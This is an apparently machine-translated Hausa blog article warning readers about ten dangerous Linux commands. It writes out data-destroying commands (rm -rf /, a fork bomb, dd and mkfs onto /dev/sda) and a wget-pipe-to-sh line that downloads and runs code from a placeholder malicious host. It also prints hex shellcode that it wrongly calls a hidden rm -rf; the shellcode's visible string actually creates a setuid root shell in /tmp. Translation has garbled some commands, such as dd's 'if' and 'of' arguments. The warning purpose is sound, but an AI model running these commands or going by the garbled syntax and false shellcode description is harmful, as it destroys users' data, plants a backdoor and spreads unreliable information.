10 Mafi Haɗari Dokoki - Bai kamata ku taɓa aiwatar da Linux ba


Layin umarnin Linux yana da amfani, mai amfani kuma mai ban sha'awa amma wani lokacin yana iya zama haɗari sosai musamman lokacin da ba ku da tabbacin abin da kuke yi. Ba a yi nufin wannan labarin don sa ku fushi da layin umarni na Linux ko Linux ba. Muna so kawai mu sanar da ku wasu umarni waɗanda yakamata ku yi tunani sau biyu kafin ku aiwatar da su.

1. rm -rf Umurnin

Umurnin rm -rf yana ɗaya daga cikin mafi sauri don goge babban fayil da abinda ke cikinsa. Amma ɗan ƙaramin rubutu ko jahilci na iya haifar da lalacewar tsarin da ba za a iya murmurewa ba. Wasu zaɓuɓɓukan da aka yi amfani da su tare da umarnin rm sune.

    Ana amfani da umurnin
  1. rm a cikin Linux don share fayiloli.
  2. Umarnin rm -r yana goge babban fayil akai-akai, har ma da wanda ba komai a ciki.
  3. rm -f umurnin yana cire 'Karanta Fayil kawai' ba tare da tambaya ba.
  4. rm -rf/: Tilasta goge duk abin da ke cikin tushen directory.
  5. rm -rf * : Tilasta goge duk abin da ke cikin kundin adireshi/littafin aiki na yanzu.
  6. rm-rf . : Tilasta goge babban fayil ɗin yanzu da ƙananan manyan fayiloli.

Don haka, yi hankali lokacin da kuke aiwatar da umarnin rm-rf. Don shawo kan share fayil ɗin bazata ta umarnin 'rm', ƙirƙiri wani laƙabin 'rm' umarni a matsayin 'rm -i' a cikin fayil ɗin .bashrc, zai tambaye ku tabbatar da kowane gogewa.

2. :(){:|:&};: Umurni

Abin da ke sama shine ainihin bam ɗin cokali mai yatsa. Yana aiki ta hanyar ayyana wani aiki mai suna '':', wanda ke kiran kansa sau biyu, sau ɗaya a gaba kuma sau ɗaya a bango. Yana ci gaba da aiwatarwa akai-akai har sai tsarin ya daskare.

:(){:|:&};:

3. umarni > /dev/sda

Umurnin da ke sama yana rubuta fitarwa na 'umarni' akan toshe /dev/sda. Umurnin da ke sama yana rubuta bayanan danyen bayanai kuma duk fayilolin da ke kan toshe za a maye gurbinsu da danyen bayanai, don haka yana haifar da asarar bayanai gaba ɗaya akan toshe.

4. mv fayil /dev/null

Umurnin da ke sama zai motsa 'fayil' zuwa /dev/null. A cikin Linux/dev/null ko null na'urar wani fayil ne na musamman wanda ke watsar da duk bayanan da aka rubuta zuwa gare shi kuma ya ba da rahoton cewa aikin rubutu ya yi nasara.

# mv /home/user/* /dev/null

Umurnin da ke sama zai motsa duk abubuwan da ke cikin kundin adireshin mai amfani zuwa /dev/null, wanda a zahiri yana nufin duk abin da aka aika zuwa blackhole (null).

5. wget http://malicious_source -O- | sh

Umurnin da ke sama zai zazzage rubutun daga tushe mara kyau sannan a aiwatar da shi. Umurnin Wget zai sauke rubutun kuma sh zai aiwatar da rubutun da aka sauke.

Lura: Ya kamata ku sani sosai game da tushen daga inda kuke zazzage fakiti da rubutun. Yi amfani da waɗancan rubutun/aikace-aikacen da aka sauke daga amintaccen tushe.

6. mkfs.ext3 /dev/sda

Umurnin da ke sama zai tsara toshe 'sda' kuma tabbas za ku san cewa bayan aiwatar da umarnin da ke sama Block (Hard Disk Drive) zai zama sabo, BRAND SABO! Ba tare da wani bayanai ba, barin tsarin ku zuwa matakin da ba za a iya murmurewa ba.

7. > fayil

Ana amfani da umarnin da ke sama don zubar da abun ciki na fayil. Idan an aiwatar da umarnin da ke sama tare da typo ko jahilci kamar > xt.conf zai rubuta fayil ɗin sanyi ko kowane tsarin ko fayil ɗin sanyi.

8. ^fo^bar

Wannan umarnin, kamar yadda aka bayyana a cikin 10 Ƙananan Sanann Dokokin Linux, ana amfani da shi don gyara umarnin gudu na baya ba tare da buƙatar sake buga duk umarnin ba. Amma wannan na iya zama da wahala sosai idan ba ku ɗauki haɗarin bincika canji a cikin umarnin asali ba ta amfani da umarnin ^foo^bar.

9. dd idan =/dev/random na =/dev/sda

Umurnin da ke sama zai shafe toshe sda kuma ya rubuta bayanan takarce bazuwar zuwa toshe. I mana! Za a bar tsarin ku a matakin da bai dace ba kuma ba za a iya murmurewa ba.

10. Boye Umurni

Umurnin da ke ƙasa ba komai bane illa umarnin farko a sama (rm -rf). Anan lambobin suna ɓoye a cikin hex don a yaudare mai amfani da jahilci. Gudun lambar da ke ƙasa a cikin tashar ku zai shafe tushen ɓangaren ku.

Wannan umarni a nan yana nuna cewa barazanar na iya zama ɓoyayye kuma ba za a iya gano ta ba a wasu lokuta. Dole ne ku san abin da kuke yi da abin da zai zama sakamakon. Kar a tattara/ gudanar da lambobi daga tushen da ba a sani ba.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Lura: Kada ku aiwatar da kowane umarni na sama a cikin tashar Linux ɗinku ko harsashi ko na abokinku ko kwamfutar makaranta. Idan kuna son gwada su, kunna su a cikin injin kama-da-wane. Duk wani rashin daidaituwa ko asarar bayanai, saboda aiwatar da umarnin da ke sama zai rushe tsarin ku wanda, Marubucin labarin ko Tecment ba shi da alhakin.

Shi ke nan a yanzu. Zan sake kasancewa a nan tare da wani labarin mai ban sha'awa da mutane za ku so ku karanta. Har zuwa lokacin Tsaya kuma ku haɗa zuwa Tecment. Idan kun san wasu irin waɗannan Dokokin Linux masu haɗari kuma kuna son mu ƙara zuwa jerin, da fatan za a gaya mana ta sashin sharhi kuma kar ku manta da bayar da ra'ayoyin ku masu mahimmanci.